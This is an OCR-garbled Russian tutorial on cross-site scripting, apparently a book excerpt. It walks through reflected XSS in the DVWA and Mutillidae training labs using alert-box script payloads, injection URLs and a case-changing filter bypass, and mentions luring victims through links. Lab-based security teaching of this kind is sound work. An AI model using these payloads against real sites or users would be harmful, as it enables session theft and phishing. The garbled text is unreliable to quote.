«Ya3sumocTtb Cross Site Scripting (XSS). MpakTMuecKoe pyKoBoACTBO ANA
XaKepoB.»






B KauecTBe BBeaeHuUA.
34paBCTBYNTE, fOPOTUE APY3bA.

Pap, npueetcTBOBaTb Bac Ha CTpaHULAxX AaHHOW KHUMU, UK A Obl gaxe
NoAvYepKHY, NPAKTUYECKOro pyKoBoACTBa Mo yA3BUMOCTM XSS. HecmoTpaA Ha
coBpemeHHble Tmnbl 3awmT oT Cross Site Scripting, KOTopble UCNONb3YIOTCA Ha
CanTax, AaHHAA YyA3BMMOCTb aKTya/ibHa Ha 60/bLUIMHCTBE CaUTOB.

HaBbIKM AN OCBOEHUA MaTepuana Hy»KHbl MMHUMaNbHble. Y Bac gonKHa 6bITb
onepaunoHHas cuctema Kali Linux (v gake sTo Heobs3aTenbHO), U yaA3BUMaAn
MaLwwmnHa «Metasploitable 2». Kak nogHaTb 3Ty nabopaToputo y ceba Ha
KOMMblOTepe, A He onucbiBaa. KOPOTKO, MOXKeTe MCNONb30BaTb cpeay
BupTyanmnsaymm VirtualBox c Kali Linux n Metasploitable 2 (aymato pasbepeTtecsb).

NHpopmaumna HocuT cyrybo npakTUUYECKM XapaKTep, rae Bol Ha HarnaaHbIX
npumepax byaeTe war 3a Warom NoBTOPATb MOU AENCTBUSA, U SKCN/IyaTUPOBaTb
pasHble BUAbl 3TON YA3BUMOCTU, BUAA nepes cobolt pesynbtaT U MeXaHU3m
B3aMMOAEenNCTBUA.

Al nocTtapancs getanbHO 0TO6Pa3nTb BCE MOM LLATK, YTOObI AaXKe CoBCEM
HauYMHAOLWMIN NeHTecTep pa3obpanca B HUX.

Bo BTOpOIM YacTn faHHOro pyKoBoACTBa byAeT pacCMOTPeEH A0CTAaTOYHO
M3BECTHbIM N NONYAAPHbIN GPENMBOPK, KOTOPbIN Ha3biBaeTcsa «BeEF».

Hapaay c akcnayaTauMein, Mbl paCCMOTPUM TaK¥Ke U 3aluTy OT 3TOM KOBapHOW
YA3BMMOCTM.

A HagelCb, YTO 3Ta KHUra cTaHeT Bawum npoBOAHUKOM B MUP TeCTUPOBaAHUA Ha
NPOHNKHOBEHNE U 3aLLNTbI OT yﬂ3BMMOCTeVI.

NcKpeHHe Baw, Muxaun Tapacos (Timcore).

1.0 Y7o Takoe yasBumocTtb XSS (Cross Site Scripting)? Tunbi XSS.



[aBaliTe norosopmm o6 yasBMmocTun XSS, uto pacwmdpoBbiBaeTcs Kak Cross Site
Scripting nnn MexcanTosbln CKPUNTUHT.

[aHHbIN TN YyA3BMMOCTEM NO3BONAET aTaKytoLeMy BHeapATb JavaScript-kog, (K
npumepy) Ha CTPaHMLY, YTO AeNaeT ee O4eHb ONacHbIM BMAOM aTaK. [lns Tex, KTo
He 3HaeT, JavaScript — 3T0 A3bIK NPOrPaMMUPOBAHUA, KOTOPbIN NCNONHAETCA Ha
CTOPOHE KANEeHTa, T.e bpay3sepa. Micnonb3ya Kog, 3TOro A3blKa, 3/10yMbILUAEHHUK
MOXKET BbINOJIHUTb €r0 HA OTAE/NIbHO B3ATOM CTpaHuULe Beb-canTa.

Kak A y»e roBopu, JavaScript — 3TO KAMEHTCKMN A3bIK, BbINO/IHAEMbIN Y
NONb30BATENA UIN KIMEHTA, HO HU B KOEM CNyYae, He Ha cepBepe, AaXKe ecu Koj,
byaeT HanpasaeH Ha co3aaHne obpaTHOro Wwenna.

JTtoboit JavaScript Kog, KoTopbln Bbl HanuwuTe, byaeT oTobparkaTbca Uu
3anyLLeH Yy N0Nb30BaTeNIen, KOTOPbIe NPOCMATPUBAOT BEO-CTpaHMLYy, a He Ha Beb-
cepsepe. Ecnm paccmatpusatb Beb-cepsep, To OH byaeT UCNOAb30BaH TO/IbKO ANA
XpaHEeHWA KoAa M ero A0CTABKU KAUNEHTY.

EcTb Tpu OCHOBHbIX TUNa XSS:
1. Persistent/Stored XSS.

2. Reflected XSS.

3. DOM based XSS.

Persistent/Stored XSS coxpaHaeTcs B 6a3y AaHHbIX. BHeAPEHHbI KOA NPU TaKOM
TMMNEe YyA3BUMOCTM, COXPaHAETCcA B 6a3e gaHHbIX, UAM Ha CTPaHULE TaKUM 06pasom,
YTO NPU NPOCMOTPE NO/Ib30BaTENEM ONpeaeneHHON cTpaHuubl, Baw Koa byaeT
BbIMONHATLCA.

B cnyuae Reflected XSS, ko4 BbInOAHAETCA TONBKO B C/ly4ae 3anycKa
nonb3oBaTtesniem onpeaeneHHoro URL, KoTopbiii Bbl Hanucanu nau co3ganm
CaMOCTOATENbHO. Bbl ABNAeTEeCb MaHMNYAATOPOM, NPU AAHHOM TUNE YA3BUMOCTMH,
TaK KaK Balwa 3agaya byaet 3aKnto4aTbcs B TOM, YTOObI OTNPaBUTb 3TY CCbIKY
KepTBe, C NPUMEHEHMEM COLMANBHOM MHXKEHEPUU. ITO BCe AeNaeTca 4N1A TOro,
4yTOObI }KepTBa OTKPbINA CCbI/IKY W NepeLuna no Hew, rae npu nepexoae,
BbINOJIHAETCA Ko,

DOM based XSS ocHoBaHa Ha Koge JavaScript, rae Koa BbINONHAETCA Ha CTOPOHE
KNneHTa, 6e3 Kakoi-nnbo cBs3un ¢ Beb-cepsepom. Ecnm paccmaTpuBaTb MEXaHUKY
cepBepa, TO MOXKHO BbIIBUTb 3aKOHOMEPHOCTb TOTr0, YTO 60NbLIMHCTBO BEO-
cepBepoB NPUMEHAT GUNbTPALINIO KOAA HA YS3BMMOCTM, B 4YaCTHOCTU XSS.
XUTpocTb B TOM, 4TO B ciydae ¢ DOM based XSS, Koa He oTnpaBaseTcs Ha cepsep,
yTo nossosaeT nsbexkatb dunbTpaumn. Koa MHTEpnpeTnpyeTca B bpaysepe, bes
cBA3M ¢ Beb-cepBepom. HacTo, Takue ya3BUMOCTU XSS MOryT BCTpeyaTbCA Ha Beb-



caiTax, MHGopMaLMA Ha CTPaAHMULLAX KOTOPbIX MOXKET 06HOBAATLCA, 6e3 OTNPaBKM
3anpoca cepsepy.

XSS

Cross-site Scripting

2.0 UccnepoBaHue Reflected XSS.

[aBante HauyHem nccnenosatb XSS yazsumocTn. CyTb meToaa CBOAUTCA K TOMY,
yTObbl NPOCMOTPETH LEeneBoi Beb-caliT, M MONbITaTbCA NPOBECTU NHBEKLUIO B
noboe TekctoBoe nose uam B url (noske Bbl noimeTe, o yem A rosopto). Cpasy
BCNomMmHaeTca aHanorua ¢ SQL-nHbekymamu.

NUTak, paccmotpum npumep Reflected XSS namn OtparkeHHoro XSS. 3Ta ya3BUMOCTb
He NOCTOSIHHA U He XpaHWUMa, NPU KOTOPOW KOA OTNpPaBaseTcss HENOCPEeACTBEHHO
Hawem uenn. NTorom aTomn atakm byaeT 3anyCcK Koga Ha MalUMHE XKepTBbl.

[nsa HarnAgHON 4eMOHCTPaLLMM YA3BMMOCTM, MHE MOHAZ06uMTCcsa Be6-npnaokeHue
«DVWA». BbICTaBNt0 HAacTPOIMKM 6e30nacHOCTU Ha «low»:
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Damn Vulnerable Web App (DVWA)v1.0.7 :: DVWA Security - Mozilla Firefox

e e

c @ ® 10.0.2.7/dvwa/security.php B - @ | Q search
#+ Most Visited [l Offensive Security % Kali Linux "\, KaliDocs "%, KaliTools % Exploit-DB Wy Aircrack-ng g Kali Forums S, NetHunter

DVWA Security *

Home |
Instructions |
Setup | Script Security
l Security Level is currently low. l
Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS5 stored

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

[tlow  ~ || submit |

PHPIDS

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. | ]

[ 1-1 1

Security level set to low

MNepenay Ha BKNaaky «XSS reflected»:

N @

»

¥



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® 0

[® Damn Vulnerable Web 24 X | 4+

&« G o ® 10.0.2.7/dvwa/vulnerabilities/xss_r/ e @ | | Q Search N @ =
£+ Most Visited [l Offensive Security S Kali Linux S KaliDocs ‘% Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums s NetHunter >

~

Home | Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions |
Setup | What's your name?

Submit

Brute Force

Command Execution

[ More info

File Inclusion

SQL Injection (Blind)

[

XSS stored

|
|
|
|
SQL Injection |
|
|
|
|

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help
Security Level: low

PHPIDS: disabled

Buanm ctpaHuyUKy ¢ nonem Beoga umeHu. Moxkem nonpoboBaTb BBECTM KaKoe-
nmbo nma:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® O I

[® Damn Vulnerable Web 2 X | =+

&« c @ @ 10.0.2.7/dvwa/vulnerabilities/xss_r/?name =mikhail# e @ || Q Search N
£} Most Visited [}l Offensive Security S KaliLinux "% KaliDocs "% Kali Tools = Exploit-DB Wy Aircrack-ng g Kali Forums S NetHunter

>

Home | Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions |
Setup | What's your name?

Submit
Brute Force

Command Execution

Hello mikhail ]

CSRF

File Inclusion

More info

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
XSS stored |

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

_

Mocne BBOAA, KaK BUAUM, NPOUCXOAUT o6pa60TKa Hallero 3anpoca un BbiBO4, Ha
CTpaHuue.

CyTb 3TOM CTPaHULbI COCTOUT B TOM, YTO Mbl MOXEM NMPOBOAUTb MHBEKLUM Yepes
TeKcToBble NosnA. TakxKe, nocmoTpes Ha URL cTpaHuubl, Bbl moXeTe 3amMeTuTb, YTO
AaHHble nepepatoTca metogom GET, T. e. B OTKpbITOM BMAe:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® O

[®] Damn Vulnerable Web 4 x | +

&« & @ (EII 10.0.2.7/dvwa/vulnerabilities/xss_r/?name =mikhail# I - O Search I D
4+ Most Visited [l Offensive Security S, Kali Linux ", KaliDocs ' Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums ‘e, NetHunter 3>

Home | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |

Setup | What's your name?

Brute Force Submit

Command Execution Hello mikhail

CSRF

File Inclusion More info

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
XSS stored |

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled

M 3TO NnpeKpacHO, TaK Kak Mbl MOXeM NPoBOAUTb MHbeKUKUK Yyepe3 URL.

Tenepb nonpobyem NPoOBECTU MHBEKLMIO B TEKCTOBOM M0JIe, HANMCAB CKPUNT Ha
A3blKe NporpammupoBaHua JavaScript. OH o4eHb NPOCT, U ABAAETCA HAMNALHbIM
NPUMepoM. ITO NPOCTENLLMIA BAPUAHT BCTABKW CKPUMTA, TaK KaK CyLLEeCTBYHOT
apyrmne, 6onee nsowpeHHble 06xoabl GUABTPALUMN.

KOHCTpyKuma cKpunTa 6yaeT cOCTOATb M3 OTKPbIBAIOLLETO M 3aKPbIBAIOLLLETO Tera:
<script></script>, pyHKUMM alert(), KOTopas Bbi3bIBAET BCM/bIBAOLLEE OKHO.
BHYyTpM GYHKLMM MOXKHO NponuncaTb Ntoboe cnoBo, 06pammne ero ABoNHbIMK
KaBbl4Kamu («»). B gaHHOM npumepe a nponuuwy cnoso «Reflected XSS».
KoHeuHana 3anucb byaeTt umeTb BuA: «<script>alert(«Reflected XSS»)</script>».
BcTaBMM HanMcaHHbIM Kog, B NOJ1e HAa CTPAHMULE M XXMeM KHOMKY «Submit»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (X5S) - Mozilla Firefox e ® 0

« Damn Vulnerable Web A X ‘ +

—~ : — -
I\(—/I = X @ ‘ ® 10.0.2.7/dvwa/vulnerabilities/xss_r/7name =<script=al e ﬁ| | Q Search | N

#+ Most Visited [l Offensive Security S, Kali Linux % KaliDocs % Kali Tools # Exploit-DB Wy Aircrack-ng gl Kali Forums "4 NetHunter >

Reflected XSS

Read 10.0.2.7

Kak BUAMM, Ha CTpaHULLE NPUCYTCTBYET YA3BUMOCTb XSS, 1 06 3TOM Ham roBopuT
BCMN/1bIBAIOLLEE OKHO.

TaKue e MaHMNyAsuMM Mbl MOXKeM NpoBoAnTb ¢ 3anucbto B URL. He byaem
OANEKO XO4NTb, @ NPAMO M3 Halero NnpMmepa ckonupyem ctpoky URL.

OHa byaeTt umeTb BUA;
«http://10.0.2.7/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27Re
flected+XSS5%27%29%3C%2Fscript%3E#». MOXXHO 3aMeTUTb, YTO HEKOTOpPbIE
CUMBO/bI 6bI1M NPeobpa3oBaHbl, HO 3TO HE BaXHO, TaK KaK 3Ty CCbIIKY Mbl
MOX€EM OTNPaBUTb HaLLEeN LLenun, u oHa cpaborTaer.

MHbIMM cnoBammn, mbl MoXXem aenatb MHbekumio B URL. MNMpogemoHcTpupyto Bam
paboTy 3TON MHBEKUMMU. ITO NPOCTO Peann3yeTca, U A BBOXKY Kog,
HenocpeacTBeHHO B CTpoKy URL:


http://10.0.2.7/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ealert('Reflected+XSS')%3c%2Fscript%3e
http://10.0.2.7/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ealert('Reflected+XSS')%3c%2Fscript%3e

I Al
Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® O

« Damn Vulnerable Web 2 X ‘ +

l((—)' - X @ [@ zs{xss_rﬁnamei<5cript>alert(“ReflectedXSS“)c{script)}t v e 1‘}] |Q Search | N @ =
3+ Most Visited [l Offensive Security S, Kali Linux " KaliDocs ' Kali Tools # Exploit-DB W Aircrack-ng gl Kali Forums ‘e NetHunter 3

Reflected XSS

Read 10.0.2.7

Kop, BbirnaauT Kak «<script>alert(«Reflected XSS»)</script>». Kak fa y»ke rosopwun,
Mbl MOXKem ckonmnpoBaTb 3TOT URL, 1 oTnpaBuTb Hawewn uenun. MNepenga no
CCbl/Ke, Ko byaeT BbINONHEH, YTO O3HAYAET YCMNELHYI0 peasn3aLnto ataku.

3.0 UccneposaHue Reflected XSS. CpeaHuit ypoBeHb.

Mpoaonkaem paccmaTtpumBaTb ysa3BumocTb Reflected XSS, n nonpobyem
NPOW3BECTM 3aMyCK KoZa Ha cpeaHUX HacTpoiiKax besonacHocTn. HanomHto, Kog,
6yaeT npeacTaBNaTb U3 cebs CKPUNT, HanMCcaHHbIM Ha sA3biKe JavaScript.

OH BbIMNAANT Kak: «<script>alert(,Reflected XSS“)</script>».

Mpexae, Yem NbITaTbCA IKCN/IYaTUPOBATb 3TY YA3BMMOCTb Ha CpeaHUX
HACTPOMKaX, A NOKaxKy Bam, KaK BbIrnaanT Koa Beb-cata, B YaCTHOCTW 3TOM
CTPaHUUBbI.



MoBTOPMM LWIArKn, KOTOPbIE Mbl yXKe NPOAENbIBAM, U NPONMLLIEM B NONE BBOAA
cKpunT: «<script>alert(,Reflected XSS“)</script>», Ha)KaB KHOMKy «Submit»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox @ ® 0

- Damn Vulnerable Web 2 X ‘ +

@ - X @ | ® 10.0.2.7/dvwa/vulnerabilities/xss_r/?name=<script>als e ﬁ| | Q, Search | i o =

#+ Most Visited [l Offensive Security S Kali Linux & Kali Docs & Kali Tools # Exploit-DB W Aircrack-ng gl Kali Forums ‘e, NetHunter

Reflected XSS

Read10.0.2.7

Monyyaem BbIBOA, BCN/bIBAIOLLENO OKHA.
Hmem KHonKky «Ok» 1 HaBoaMM Kypcop Mbllwn Ha cnoso «Hello». X Kmem npasoi

KHOMKOM MblwK 1 Bbibnpaem onuymto «Inspect Element (Q)»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® O ‘

[® Damn Vulnerable Web 2 X | =4

< ¢ - @ | | Q Search N @
3+ Most Visited [l Offensive Security S, Kali Linux " KaliDocs ' Kali Tools # Exploit-DB W Aircrack-ng gl Kali Forums ‘e NetHunter 3

@ 10.0.2.7/dvwa/vulnerabilities/xss_r/Iname= <sCript>:

>

Vulnerability: Reflected Cross Site Scripting (XSS)

Home |

Instructions |

Setup | What's your name?

Submit
Brute Force

Command Execution

| Hello I

More info

CSRF

File Inclusion

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
|

XSS stored

w
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Animations

@ Performance 4k Memory = Metwork B Storage

Rules

@ LI Inspector Consaole

-+ Search HTML &

O Debugger  {} Style Editor

Computed Layout Fonts

=div id="main body"=
=div class="body padded"=
=hl==/hl=
s="vulnerable code area"=
" action="#" method="GET"=</form=

=div cl

i
b =pre==</pre=
e —————————

<h2=More info</h2>
=ul= =/ /ul=
<fdiv=
<br=
€ home > divitcontainer » div#main_body > div.body_padded

div.vulnerable _code_area

~ ¥ Filter Styles
element i
i
pre {
color: @ red;
}
Inherited from divitmain_body
divi#main_ body {
~ font-size: 13px;

pre » !

Inbribad fram dbdbeambainae

+ T ods

inline

main.css:257

main.css:141

-~

Mbl YBUANM NCXOAHbIN KOA 3TOM CTPaHMULbl. ECIM Mbl BHUMATENbHO MOCMOTPUM
[laHHbIN KOA, B YaCTHOCTM OTKPOEM BblAeNIeHHbIE Tern «<pre></pre>», To yBUAUM
cnoso «Hello», a y»e nocne Hero BHeAPEHHbIN Hamu Kog, JavaScript:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox e ® O
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< (G ® 10.0.2.7/dvwa/vulnerabilities/xss_r/7name=<script>: = @ || Q Search In @ =
4+ Most Visited ]l Offensive Security S KaliLinux " Kali Docs "% Kali Tools @ Exploit-DB Wy Aircrack-ng gl Kali Forums ‘e NetHunter

-~

Home | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |

Setup | What's your name?

Brute Force Submit

Command Execution Hello

CSRF

File Inclusion More info

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
|

XSS stored

w

@ {3 inspect [J Conso [ Debugg {} StyleEdit (G Performar £k Memo = Netwo & Storac (3" F] B £ I £ X

=+ Search HTML & Rules Computed Layout Animations Fonts
<form name="XS5" acti_on:"g_" method="GET">=) . Fi[terSty[es + T, s
</form> element { inline 2
<pre=> )
Hellg I
<script>alert('Reflected XSS')</script> Inherited from pre
<lpre> pre { main.css:257
</div> <~ color: @ red;
< iv.body_padded > div.vulnerable_code_area > pre > script > |} .

OH 6e3 npobiem MCMoNHAETCA Ha CTpaHULE.

MpoAo/IKMM Halle uccaeaoBaHue, U NOAHMMEM HACTPOMKKN 6e30NacHOCTU Ha
CpeAHunt ypoBeHb:



Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox e 06

[® Damn Vulnerable Web 2 % | +

<« c @ ® 10.0.2.7/dvwa/security.php B |- @ || Q Search m @a =
£+ Most Visited [l Offensive Security %, KaliLinux %, KaliDocs %, Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums “§, NetHunter >

- |  DVWA Security

Instructions |
Setup | Script Security

ISecurity Level is currently medium. I
Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVIWA.

CSRF
File Inclusion I | medium v || Submit | I
SQL Injection (Blind) PHPIDS

|
|
|
|
SQL Injection |
|
|
|
|

Upload
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

XSS reflected

You can enable PHPIDS across this site for the duration of your session
XSS stored

PHPIDS is currently disabled. [ 1

L ) ]

PHP Info |
About |

Security level set to medium
Logout |

Username: admin
Security Level: medium
PHPIDS: disabled

MNepenagem Ha BKNaaky «XSS Reflected», n noBTopum npeapiaywme warm,
BHEAPWUB CKPUNT B NoJie BBOAA:
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[® Damn Vulnerable Web 2 x | +

€« c w ® 10.0.2.7/dvwa/vulnerabilities/xss_r/Zname=<script> «» @ ¥ || Q Search In @ =
£+ Most Visited [l Offensive Security S, KaliLinux “ KaliDocs “e, Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums S, NetHunter >

~

Home | Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions |
Setup | What's your name?

| submit |
Brute Force ——

Command Execution Hello alert('Reflected X55') I

CSRF

File Inclusion

More info

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
XSS stored |

DVWA Security |

PHP Info |

About |

Logout |

Username: admin View Source ‘ View Help |
Security Level: medium
PHPIDS: disabled

— ~

Kak Bbl moxeTe BUAETb, AaHHbIN CKPUNT He paboTaeT. Ecin BCMOMHUM HU3KWIA
ypoBeHb 6e30nacHOCTH, TO BbIBOA, Obln TONbKO ¢ 0oaHMM coBom «Hello», a B
AaHHOM c/lydae BbiBoauTcA 3anuck «Hello alert(,,Reflected XSS“)».

[laBaiiTe NOCMOTPUM Ha KO, C MOMOLLbIO MHCNEKTOPa 3/1eMEHTOB:
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&« c @ @ 10.0.2.7/dvwa/vulnerabilities/xss_r/Iname=<script> - @ v¢|| Q Search N @ =
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Home | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |

Setup | What's your name?

Brute Force |7&

Command Execution Hello alert('Reflected XS5')

CSRF

File Inclusion

More info

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
XSS stored |

w

[@ ©{Jinspect BJ Conso (O Debugg {} StyleEdit (& Performar fk Memo = Netwo 8 Storac (" B & O & X

+ Search HTML £ Rules Computed Layout Animations Fonts
<div class="vulnerable code area"> " FilterStyles + rf"?__i b
<form name="XSS" action="#" method="GET"> o n
P . element { inline
<pre>Hello alert('Reflected XSS')</pre> } I
T et M pre { main.css:257
<h2=More info</h2> color: @ red;
<ul>=</ul> }

Inherited from div#main_body

€ sody > div.body_padded > div.vulnerable_code_area > pre >

Mbl BUAUM, YTO HAYaANO CKPUMNTA U €ro KOHEeL, He NOoly4MNoCb BHEAPUTD.
OTCYTCTBYIOT Tern: «<script></script>». OHM BblAN NPOCTO OTGUNLTPOBAHbI,
NMO3TOMY HUYEro He Noy4nnocCh.

EcTb MHO)ecTBO cnocoboB 06xoaa Taknx GUALTPOB M APYrnx cnocoboB 3aLMThbI
oT XSS.

[aBanTe HayHeMm c Yyero-HMbyab NPOCTOro, TaKk Kak A Npeanosarato, YTo GUNbLTP
NLWET CNOoBO «script», npu 06paboTke 3anpoca. MoXHO, B NpUHLUMNE
MCNONIb30BaTb TOT Xe CKPUNT, U Bbl owyTnTe aHanormio ¢ SQL-mHbekumamm. B
KoZe CKpunTa Mbl byaem aenaTtb HEKOTOpble BYKBbI 3arnaBHbIMKU. Bua, byaer,
Hanpumep Takum: «<scRipT>alert(,Reflected XSS“)</scripT>».

BctaBnsem ero B nosie BBOAA U *MeEM KHOMKY «Submit»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS} - Mozilla Firefox [— O < ]

- Damn Vulnerable Web £ X ‘ +

— : — . ~
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Reflected XS5

Read10.0.2.7

Bce paboTaeT, n Mmbl ycnewHo o6ownmn punbTp, KOTOPbIA UCMO/b3YETCS Ha 3TOM
Beb-caunTe.

HeKoTopble caitTbl, K NPUMEPY, ULLYT KaBblYKK, N yAANAOT UX BCE M3 3annucu. Mol
elle NoroBopmm o6 sTom.

ECTb MHOXeCTBO pa3InYHbIX Bapmnaunii o6xoaa ¢punsTpoBs 1 3awmT. HekoTopble
npuUmepbl MOXKHO nocmoTpeTb B Owasp-10 cheat sheet. 3aryrauTte :)

MOXHO AenaTb MHbEKLMIO B Tere «a», MOXXHO A06aBUTb Kakoe-1nbo cobbiTue.
MpumepoBs, Ha CamoMm Aene, BeJIMKOe MHOMECTBO.

4.0 UccnepoBaHue yassumocTtu Reflected XSS — ypoBeHb «CnoKHbIi».

Mpoagonxkum nccnegosaHua yassmmoctn Reflected XSS. Cmbich npeaplaywimnx
MHBEKUMIN 3aK104aNacb B TOM, YTO Mbl BCTaBAsAAM ux B kog, HTML. BcnomHute
3anucb BuAaa: «<script>alert(«Reflected XSS»)</script>». Ee MOXHO
BMAOU3MEHUTb Pa3nnyHbIMKM cnocobamm, K npumepy ncnonb3ya cheet sheet.



Ha camom gene noaxoabl K 06HapyXKeHUIO yA3BUMOCTU XSS A0BO/IbHO OBLWNPHBI,
N HEeT KaKoro-1mbo obuiero BeKTopa ANa uccaenosaHma. Bam npocto Hy»KHO
NbITAaTbCA HAUTK YA3BMMOCTH, Ncxoaa n3 ocobeHHocTer Beb-cTpaHMLbI.

[lna paccMoTpeHUs caeayoLero npumepa, MHe NnoHaaobuTca Beb-npunoxeHune
Metasploitable 2, koTopoe Ha3biBaeTca «Mutillidae» Ham B MmeHto BbIOpaTb
cneaytowme onumn: « OWASP Top 10» - «Al — Injection» - «JavaScript Injection» -
«Password Generator»:
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OWASP Top 10
| Password Generator

Making strong passwords is important.
Click the button below to generate a password.

This password is for anonymous
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WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

@webpwnized
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ITa cTpaHuua npeactaBaaeT coboii reHepaTop Naposen. Mbl MOXKeM HarXKaTb Ha
KHONKY «Generate»:
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Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints

Core Controls 4
OWASP Top 10 4

Toggle Security Reset DB View Log View Captured Data

\ Password Generator

Back
d |

‘ Password Generator

Documentation 4

Making strong passwords is important.
Click the button below to generate a password.

This password is for anonymous
—t Password: 6[Zs$jkr/,PUU@?V

Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

@webpwnized

=

B ntore moil nonyynnu Cl'eHepVIpOBaHHbHZ napob. MOXHO waru no reHepauunu
npoaenbiBaTb CHOBA M CHOBA. ECAM Mbl AeTasibHO PAaCCMOTPMM BbIBOA Ha

CTpaHULE, TO 0BHaPYKMM, YTO AaHHbIM Napob Hbl CreHEePUPOBaH ANA
nonb3osaTena «Anonymous»:
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Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register

Toggle Hints

Toggle Security Reset DB View Log View Captured Data

Password Generator

Password Generator

Making strong passwords is important.
Click the button below to generate a password.

This password is for anonymous
Password: 6[Zs$jkr/,PUU@?V

Tenepb nepengem B URL Be6-CTpaHULbI, U 3aMETUM, YTO B NapameTpe yKa3aHo
MmMmAa «KAnonymous»:
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Security Level: 0 (Hosed)

Home Login/Register Toggle Hints

Toggle Security

Reset DB

Hints: Disabled (0 - I try harder)

View Log View Captured Data

Not Logged In

Password Generator

Password Generator

Making strong passwords is important.
Click the button below to generate a password.

This password is for anonymous
Password: 6[Zsjkr/,PUU@?V

Mbl MOXeM U3MEHUTb 3TOT NapameTp, Ha Ntoboe apyroe nma. Bosbmy, K npumepy

«Timcore»:
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Security Level: 0 (Hosed)

Home Login/Register Toggle Hints

Hints: Disabled (0 - I try harder)
Reset DB

Not Logged In

Toggle Security View Log View Captured Data

Password Generator

Back

Password Generator

Making strong passwords is important.
Click the button below to generate a password.

This password is for Timcore

Hy»KHO 3ameTuTb, YTO OTOOpPaXKeHne AaHHbIX Ha cTpaHuue, npu BBoge B URL,

HaBOAUT HA MbICJ/1b, 4YTO 34€Cb CyLWLEeCTBYET YA3SBUMOCTb XSS, TaK KaK Bce, 4To Bbl
BBOAUTE, 0T06pa>KaeTc;1 Ha CTpaHULe.

[aBanTe nonbiTaeMca cAenatb MHbEKLMIO B KOA, AaHHOW BED-CTPaHMULbI,
NoCpeacTBOM YyXKe U3BECTHOro Hamum cKpunTa: «<script>alert(«Reflected
XSS»)</script>», B URL:
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Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Reset DB

Back

Resources |

Toggle Security View Log View Captured Data

Core Controls ‘

Password Generator

OWASP Top 10

Documentation

Password Generator

Making strong passwords is important.
Click the button below to generate a password.

Generate

": }Ycatch(e){ alert("Error: " + e.message); }// end catch

—
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Kak Bbl moxeTe BUAETb, CKPUNT He cpaboTan, Tak Kak Mbl HE BUAMM NPUBLIYHOTO
BCM/IbIBalOLLEro OKHa, ¢ Tekctom «Reflected XSS», HO YacTb Koga nosBMAACh Ha
Beb-cTpaHuue. Mo naee, ero He AO/IXKHO ObITb, TaK KaK Mbl B NpeablayLLem
npumepe BBOAMIN UMSA, U HUYETO He NPOoMCXoamMao. ITo 3aLenKka, Ann
AaNbHENLNX AENCTBUN.

[aBalte nccnegyem snemeHT Koga, KOTOpPbI BbIBENCA Ha CTPAHULE, C MOMOLLbHO
MHCMNEeKTopa Koga. HaBoaum Kypcop MblLIKW HA KOA, U *KMEeM MpPaByto KHOMKY
MbILWN, 1 BbiIbupaem «Inspected Element»:
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Reset DB View Captured Data
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R | Password Generator
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Making strong passwords is important.
Click the button below to generate a password.

“: }catch(e){ alert("Error: " + e.message); }// end catch
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<td style="vertical-align:top;text-align:left;background-color:#ccccff; ” Filte -+ Fl;.i cls
width: 10“ "> u<,.ftd> ) R
element { inline

